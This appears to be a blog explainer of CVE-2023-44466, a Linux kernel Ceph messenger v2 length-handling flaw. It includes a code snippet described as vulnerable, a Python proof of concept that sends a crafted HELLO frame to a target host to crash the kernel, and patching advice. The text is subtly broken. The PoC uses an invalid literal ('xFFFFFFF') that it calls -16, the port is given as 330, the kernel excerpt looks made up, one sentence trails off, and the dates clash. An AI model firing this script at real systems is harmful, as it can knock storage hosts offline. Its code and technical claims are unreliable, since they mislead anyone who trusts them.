CVE-2023-44466 - Linux Kernel Ceph Messenger v2 Buffer Overflow Explained (With Exploit Details)

In July 2023, a critical security flaw was reported in the Linux kernel, specifically affecting the Ceph distributed storage networking stack. The issue, tracked as CVE-2023-44466, could allow a remote attacker to execute code on a vulnerable system just by sending crafted network packets. In this post, we’ll break down the vulnerability, how it happens in code, and what remote attackers could do – all in clear, simple terms.

Vulnerability Type: Buffer Overflow via network packet length

- Component Affected: net/ceph/messenger_v2.c in Linux kernel (before version 6.4.5)

Security Impact: Remote code execution (RCE) as root

Simply put: Remote attackers can send malicious messages to a vulnerable host’s Ceph server, causing it to misallocate memory and overwrite important data, potentially running their own code.

How Does the Bug Happen?

The bug happens in the way the kernel’s Ceph protocol handler decodes incoming network data. Ceph's messenger v2 protocol expects certain messages (such as HELLO or AUTH frames) that start with a 32-bit length field.

Vulnerable Code Snippet

In net/ceph/messenger_v2.c, the kernel uses ceph_decode_32() to get this length from untrusted network data:

// Vulnerable excerpt:
int ceph_decode_32(void **p)
{
    u32 val = get_unaligned_le32(*p);
    *p += 4;
    return val;
}
...
u32 msg_len = ceph_decode_32(&ptr);
// Length not validated for sign or reasonableness
u8 *buffer = kmalloc(msg_len, GFP_KERNEL);
memcpy(buffer, ptr, msg_len); // BOOM! Buffer overflow if msg_len huge or negative

What went wrong?

- The code read a signed length from the network but used it as a size for memory allocation without checking if it's negative.
- If an attacker sends a negative number, it wraps around as a large positive unsigned value (or zero/little value), leading to:

Exploit Overview

Attack Surface: Any Ceph cluster with the messenger_v2 protocol enabled, reachable over the network (typically TCP port 330).

Next memcpy() (or similar copy) overruns the buffer, controlling kernel memory.

Result: Overwrite of kernel heap or stack memory – usually proof-of-concept would crash the kernel, but with skill, could run arbitrary code.

Here's a rough way to create a malicious "HELLO" message in Python (for test lab only)

import socket
import struct

# Replace with real Ceph monitor IP and port (usually 330)
target_ip = '192.168.1.100'
target_port = 330

# Frame with negative length (-16 as xFFFFFFF), rest can be arbitrary
msg_type = b'\x01'        # For HELLO
bad_length = struct.pack('<I', xFFFFFFF)  # -16 as unsigned little-endian

payload = msg_type + bad_length + b'X' * 32 # garbage after length

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.sendall(payload)
s.close()
print("Malicious payload sent")

On a vulnerable system, this will often crash the kernel or panic the Ceph process. Under the right exploitation, a remote shell could be possible (though that’s left to advanced attackers).

## How to Fix / Protect Yourself

Upgrade to Linux Kernel 6.4.5 or later

Block Ceph’s messenger v2 externally (firewall).

- Isolate Ceph networks from untrusted users/devices.

Patch Reference:
- Upstream Linux Kernel Patch

In Summary

CVE-2023-44466 shows how a single overlooked integer check deep in complex networking code can put an entire distributed storage system at risk. If you run Ceph or build platforms on Linux, patch quickly and isolate your storage networks.

Timeline

Published on: 09/29/2023 06:15:11 UTC
Last modified on: 11/16/2023 16:15:31 UTC